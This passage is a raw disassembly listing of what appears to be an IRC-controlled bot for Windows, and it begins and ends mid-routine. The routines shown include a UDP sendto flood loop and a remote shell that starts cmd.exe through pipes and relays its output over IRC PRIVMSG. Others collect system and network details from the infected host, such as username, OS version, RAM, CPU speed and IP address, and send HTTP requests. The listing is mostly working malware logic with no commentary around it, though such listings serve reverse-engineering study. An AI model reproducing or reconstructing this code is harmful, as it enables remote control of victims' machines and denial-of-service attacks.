cmp [ebp+var_2C], edi
jle short loc_40A471
loc_40A3FF: ; CODE XREF: sub_40A2BF+158j
call sub_415372
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40A3FF
jmp short loc_40A471
; ---------------------------------------------------------------------------
loc_40A41B: ; CODE XREF: sub_40A2BF+1B5j
dec [ebp+var_30]
push 0Bh
pop esi
loc_40A421: ; CODE XREF: sub_40A2BF+192j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_43CA88 ; sendto
push [ebp+var_28]
call dword_421060 ; Sleep
dec esi
jnz short loc_40A421
cmp [ebp+var_24], edi
jnz short loc_40A471
call sub_415372
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_43CA24 ; ntohs
mov [ebp+var_E], ax
loc_40A471: ; CODE XREF: sub_40A2BF+13Ej
; sub_40A2BF+15Aj ...
cmp [ebp+var_30], edi
jg short loc_40A41B
dec [ebp+var_30]
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B578
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A4B9
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412BD1
add esp, 14h
loc_40A4B9: ; CODE XREF: sub_40A2BF+1D8j
lea eax, [ebp+var_334]
push eax
call sub_40B078
push [ebp+var_20]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
sub_40A2BF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40A4D6 proc near ; CODE XREF: sub_40A506+2Ap
; sub_40A53E+7Ep ...
mov eax, dword_43CD64
push esi
mov esi, dword_42106C
cmp eax, 0FFFFFFFFh
jz short loc_40A4EA
push eax
call esi ; CloseHandle
loc_40A4EA: ; CODE XREF: sub_40A4D6+Fj
mov eax, dword_43CD6C
cmp eax, 0FFFFFFFFh
jz short loc_40A4F7
push eax
call esi ; CloseHandle
loc_40A4F7: ; CODE XREF: sub_40A4D6+1Cj
mov eax, dword_43CD60
cmp eax, 0FFFFFFFFh
jz short loc_40A504
push eax
call esi ; CloseHandle
loc_40A504: ; CODE XREF: sub_40A4D6+29j
pop esi
retn
sub_40A4D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A506 proc near ; CODE XREF: sub_40B459+14Ap
; sub_40CD3A+446Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_415B10
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_43CD68
call dword_421070 ; WriteFile
test eax, eax
jnz short loc_40A539
call sub_40A4D6
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40A539: ; CODE XREF: sub_40A506+28j
xor eax, eax
inc eax
leave
retn
sub_40A506 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A53E proc near ; CODE XREF: sub_40A5C5+D3p
; sub_40A5C5+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43B658
push [ebp+arg_4]
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40A581
push 7D0h
call dword_421060 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_415316
add esp, 10h
jmp short loc_40A598
; ---------------------------------------------------------------------------
loc_40A581: ; CODE XREF: sub_40A53E+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 0Ch
loc_40A598: ; CODE XREF: sub_40A53E+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
test eax, eax
jg short loc_40A5C1
call sub_40A4D6
loc_40A5C1: ; CODE XREF: sub_40A53E+7Cj
xor eax, eax
leave
retn
sub_40A53E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5C5 proc near ; DATA XREF: sub_40A71A+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_43CD70
loc_40A5DD: ; CODE XREF: sub_40A5C5+79j
; sub_40A5C5+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_43CD64
call dword_421000 ; PeekNamedPipe
test eax, eax
jz loc_40A6AB
cmp [ebp+var_4], edi
jnz short loc_40A640
lea eax, [ebp+var_8]
push eax
push dword_43CD60
call dword_4210FC ; GetExitCodeProcess
test eax, eax
jz short loc_40A636
cmp [ebp+var_8], 103h
jnz loc_40A6CF
loc_40A636: ; CODE XREF: sub_40A5C5+62j
push 0Ah
call dword_421060 ; Sleep
jmp short loc_40A5DD
; ---------------------------------------------------------------------------
loc_40A640: ; CODE XREF: sub_40A5C5+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40A657
loc_40A647: ; CODE XREF: sub_40A5C5+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_40A6A5
inc eax
cmp eax, [ebp+var_4]
jb short loc_40A647
loc_40A657: ; CODE XREF: sub_40A5C5+80j
mov [ebp+var_4], esi
loc_40A65A: ; CODE XREF: sub_40A5C5+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_43CD64
call dword_421068 ; ReadFile
test eax, eax
jz short loc_40A6F7
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_43CDA4
call sub_40A53E
add esp, 0Ch
jmp loc_40A5DD
; ---------------------------------------------------------------------------
loc_40A6A5: ; CODE XREF: sub_40A5C5+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40A65A
; ---------------------------------------------------------------------------
loc_40A6AB: ; CODE XREF: sub_40A5C5+45j
push offset dword_42B688
push ebx
push dword_43CDA4
call sub_40A53E
push [ebp+arg_0]
call sub_4150F0
add esp, 10h
push 1
call dword_421048 ; ExitThread
loc_40A6CF: ; CODE XREF: sub_40A5C5+6Bj
call sub_40A4D6
push offset dword_42B64C
push ebx
push dword_43CDA4
call sub_40A53E
push [ebp+arg_0]
call sub_4150F0
add esp, 10h
push edi
call dword_421048 ; ExitThread
loc_40A6F7: ; CODE XREF: sub_40A5C5+C3j
push offset dword_42B608
push ebx
push dword_43CDA4
call sub_40A53E
push [ebp+arg_0]
call sub_4150F0
add esp, 10h
push edi
call dword_421048 ; ExitThread
sub_40A5C5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A71A proc near ; CODE XREF: sub_40B459+99p
; sub_40CD3A+5167p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40A4D6
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_43CADC ; SearchPathA
test eax, eax
jz loc_40A814
lea eax, [ebp+var_1C]
mov edi, dword_421108
push esi
push eax
lea eax, [ebp+var_C]
xor ebx, ebx
push eax
lea eax, [ebp+var_10]
inc ebx
push eax
mov [ebp+var_1C], 0Ch
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_40A814
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40A814
mov edi, dword_421104
push 3
push esi
push esi
push offset dword_43CD68
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_421100 ; DuplicateHandle
test eax, eax
jz short loc_40A814
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_415390
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_415390
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43B658
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_4210EC ; CreateProcessA
test eax, eax
jnz short loc_40A81C
loc_40A814: ; CODE XREF: sub_40A71A+2Fj
; sub_40A71A+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40A8CA
; ---------------------------------------------------------------------------
loc_40A81C: ; CODE XREF: sub_40A71A+F8j
push [ebp+var_4]
mov edi, dword_42106C
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_43CD64, eax
mov eax, [ebp+var_8]
mov dword_43CD6C, eax
mov eax, [ebp+var_2C]
mov dword_43CD60, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_43CDA4, eax
jz short loc_40A856
push [ebp+arg_4]
jmp short loc_40A857
; ---------------------------------------------------------------------------
loc_40A856: ; CODE XREF: sub_40A71A+135j
push ebx
loc_40A857: ; CODE XREF: sub_40A71A+13Aj
push offset dword_43CD70
call sub_415316
pop ecx
pop ecx
push esi
push 7
push offset dword_42B718
call sub_414DDA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_441BA0[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40A5C5
push esi
push esi
call dword_42108C ; CreateThread
cmp eax, esi
loc_40A899: ; DATA XREF: .text:00424F14o
; .text:00424F58o ...
mov dword_441BAC[edi], eax
jnz short loc_40A8C8
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset dword_42B6D0
push eax
call sub_415316
lea eax, [ebp+var_378]
push eax
call sub_40B078
add esp, 10h
loc_40A8C8: ; CODE XREF: sub_40A71A+185j
xor eax, eax
loc_40A8CA: ; CODE XREF: sub_40A71A+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40A71A endp
; =============== S U B R O U T I N E =======================================
sub_40A8CF proc near ; CODE XREF: sub_407075+74p
; sub_40A9D8+217p ...
arg_0 = dword ptr 4
push esi
push edi
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_43CDA8
push 32h
push esi
call sub_41588A
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_40A8CF endp
; =============== S U B R O U T I N E =======================================
sub_40A922 proc near ; CODE XREF: sub_40A9D8+290p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_40A92A: ; CODE XREF: sub_40A922+2Fj
; sub_40A922+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call dword_421060 ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_417180
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_40A92A
jb short loc_40A959
cmp ebx, edi
ja short loc_40A92A
loc_40A959: ; CODE XREF: sub_40A922+31j
push 0
push 64h
push esi
push ebx
call sub_417100
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_40A9CC
jb short loc_40A978
cmp edi, 50h
jnb short loc_40A97D
loc_40A978: ; CODE XREF: sub_40A922+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40A97D: ; CODE XREF: sub_40A922+54j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A988
cmp edi, 47h
jnb short loc_40A98D
loc_40A988: ; CODE XREF: sub_40A922+5Fj
push 42h
xor edx, edx
pop eax
loc_40A98D: ; CODE XREF: sub_40A922+64j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A998
cmp edi, 37h
jnb short loc_40A99D
loc_40A998: ; CODE XREF: sub_40A922+6Fj
push 32h
xor edx, edx
pop eax
loc_40A99D: ; CODE XREF: sub_40A922+74j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A9A8
cmp edi, 26h
jnb short loc_40A9AD
loc_40A9A8: ; CODE XREF: sub_40A922+7Fj
push 21h
xor edx, edx
pop eax
loc_40A9AD: ; CODE XREF: sub_40A922+84j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A9B8
cmp edi, 1Eh
jnb short loc_40A9BD
loc_40A9B8: ; CODE XREF: sub_40A922+8Fj
push 19h
xor edx, edx
pop eax
loc_40A9BD: ; CODE XREF: sub_40A922+94j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A9C8
cmp edi, 0Ah
jnb short loc_40A9CC
loc_40A9C8: ; CODE XREF: sub_40A922+9Fj
xor eax, eax
xor edx, edx
loc_40A9CC: ; CODE XREF: sub_40A922+4Dj
; sub_40A922+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_40A922 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9D8 proc near ; CODE XREF: sub_40CD3A+53E3p
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43B658
mov [ebp+var_CC], 94h
call dword_42110C ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40AA5F
cmp [ebp+var_C4], ebx
jnz short loc_40AA3B
cmp [ebp+var_BC], 1
jnz short loc_40AA25
mov [ebp+var_4], offset a95 ; "95"
loc_40AA25: ; CODE XREF: sub_40A9D8+44j
cmp [ebp+var_BC], 2
jnz loc_40AADA
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40AAAB
; ---------------------------------------------------------------------------
loc_40AA3B: ; CODE XREF: sub_40A9D8+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40AA4D
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40AAA2
; ---------------------------------------------------------------------------
loc_40AA4D: ; CODE XREF: sub_40A9D8+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40AA9B
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40AAA2
; ---------------------------------------------------------------------------
loc_40AA5F: ; CODE XREF: sub_40A9D8+33j
cmp [ebp+var_C8], 5
jnz short loc_40AA9B
cmp [ebp+var_C4], ebx
jnz short loc_40AA79
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40AAA2
; ---------------------------------------------------------------------------
loc_40AA79: ; CODE XREF: sub_40A9D8+96j
cmp [ebp+var_C4], 1
jnz short loc_40AA8B
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40AAA2
; ---------------------------------------------------------------------------
loc_40AA8B: ; CODE XREF: sub_40A9D8+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40AAA2
loc_40AA9B: ; CODE XREF: sub_40A9D8+7Cj
; sub_40A9D8+8Ej
mov [ebp+var_4], offset dword_42B868
loc_40AAA2: ; CODE XREF: sub_40A9D8+73j
; sub_40A9D8+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40AADA
loc_40AAAB: ; CODE XREF: sub_40A9D8+61j
cmp [ebp+var_B8], bl
jz short loc_40AADA
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42B860
push eax
call sub_415316
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40AADA: ; CODE XREF: sub_40A9D8+54j
; sub_40A9D8+D1j ...
mov ax, word_42B85C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_43C910
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_40AB13
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_40AB13: ; CODE XREF: sub_40A9D8+12Cj
push [ebp+arg_4]
call sub_40A08A
pop ecx
push eax
call dword_43CA64 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call dword_43C9DC ; gethostbyaddr
cmp eax, ebx
jz short loc_40AB3C
push dword ptr [eax]
jmp short loc_40AB41
; ---------------------------------------------------------------------------
loc_40AB3C: ; CODE XREF: sub_40A9D8+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40AB41: ; CODE XREF: sub_40A9D8+162j
lea eax, [ebp+var_3E4]
push eax
call sub_415316
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_421084 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_421080 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_421110 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_4171E8
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_40C21C
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40A8CF
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40C10D
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40C10D
pop ecx
pop ecx
push eax
call sub_40A922
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_41588A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40A9D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC8C proc near ; CODE XREF: sub_40CD3A+4388p
; sub_40CD3A+5411p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_415390
add esp, 0Ch
cmp dword_43CB08, 0
jnz short loc_40AD00
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_43C8F4 ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_40ACE1
lea eax, [ebp+var_8C]
push offset dword_42B8DC
push eax
call sub_415316
pop ecx
pop ecx
loc_40ACE1: ; CODE XREF: sub_40AC8C+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_40ACF9
push offset dword_42B8D4
loc_40ACEF: ; CODE XREF: sub_40AC8C+72j
push eax
call sub_415316
pop ecx
pop ecx
jmp short loc_40AD1F
; ---------------------------------------------------------------------------
loc_40ACF9: ; CODE XREF: sub_40AC8C+5Cj
push offset dword_42B8D0
jmp short loc_40ACEF
; ---------------------------------------------------------------------------
loc_40AD00: ; CODE XREF: sub_40AC8C+28j
mov esi, offset off_42B8CC
lea eax, [ebp+var_8]
push esi
push eax
call sub_415316
lea eax, [ebp+var_8C]
push esi
push eax
call sub_415316
add esp, 10h
loc_40AD1F: ; CODE XREF: sub_40AC8C+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_41588A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40AC8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD52 proc near ; DATA XREF: sub_40CD3A+459Fo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42BA28
call sub_415390
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_415390
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_415390
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_415390
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_415390
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_43C92C ; InternetCrackUrlA
test eax, eax
jz loc_40AEF2
cmp [ebp+var_34], ebx
jbe short loc_40AE29
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_416BE0
add esp, 0Ch
loc_40AE29: ; CODE XREF: sub_40AD52+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40AE47
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_416BE0
add esp, 0Ch
loc_40AE47: ; CODE XREF: sub_40AD52+DEj
cmp [ebp+var_20], ebx
jbe short loc_40AE61
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_416BE0
add esp, 0Ch
loc_40AE61: ; CODE XREF: sub_40AD52+F8j
cmp [ebp+var_18], ebx
jbe short loc_40AE7B
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_416BE0
add esp, 0Ch
loc_40AE7B: ; CODE XREF: sub_40AD52+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_43C9D4
call dword_43C9F8 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_40AF08
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_43C9EC ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40AF0F
push ebx
push ebx
push ebx
push ebx
push eax
call dword_43C9A0 ; HttpSendRequestA
test eax, eax
lea eax, [ebp+var_55C]
jz short loc_40AEEB
push offset dword_42B9F8
jmp short loc_40AF1A
; ---------------------------------------------------------------------------
loc_40AEEB: ; CODE XREF: sub_40AD52+190j
push offset unk_42B9A8
jmp short loc_40AF1A
; ---------------------------------------------------------------------------
loc_40AEF2: ; CODE XREF: sub_40AD52+B7j
lea eax, [ebp+var_55C]
push offset dword_42B974
push eax
call sub_415316
mov esi, [ebp+var_C]
jmp short loc_40AF20
; ---------------------------------------------------------------------------
loc_40AF08: ; CODE XREF: sub_40AD52+153j
push offset unk_42B934
jmp short loc_40AF14
; ---------------------------------------------------------------------------
loc_40AF0F: ; CODE XREF: sub_40AD52+17Bj
push offset unk_42B8F0
loc_40AF14: ; CODE XREF: sub_40AD52+1BBj
lea eax, [ebp+var_55C]
loc_40AF1A: ; CODE XREF: sub_40AD52+197j
; sub_40AD52+19Ej
push eax
call sub_415316
loc_40AF20: ; CODE XREF: sub_40AD52+1B4j
cmp [ebp+var_1D4], ebx
pop ecx
pop ecx
jnz short loc_40AF4D
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_412BD1
add esp, 14h
loc_40AF4D: ; CODE XREF: sub_40AD52+1D6j
lea eax, [ebp+var_55C]
push eax
call sub_40B078
pop ecx
push esi
call dword_43CA58 ; InternetCloseHandle
push [ebp+var_4]
call dword_43CA58 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_40AD52 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF80 proc near ; CODE XREF: sub_40CD3A+42C1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_440E18
mov edi, 0B8h
loc_40AF94: ; CODE XREF: sub_40AF80+33j
cmp byte ptr [esi], 0
jz short loc_40AFB7
push [ebp+arg_0]
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40AFB7
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_441998
jl short loc_40AF94
jmp short loc_40AFF9
; ---------------------------------------------------------------------------
loc_40AFB7: ; CODE XREF: sub_40AF80+17j
; sub_40AF80+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_440E18[esi]
push ebx
call sub_415390
push 17h
push [ebp+arg_0]
push ebx
call sub_416BE0
push 9Fh
lea eax, dword_440E30[esi]
push [ebp+arg_4]
push eax
call sub_416BE0
add esp, 24h
inc dword_42EA3C
pop ebx
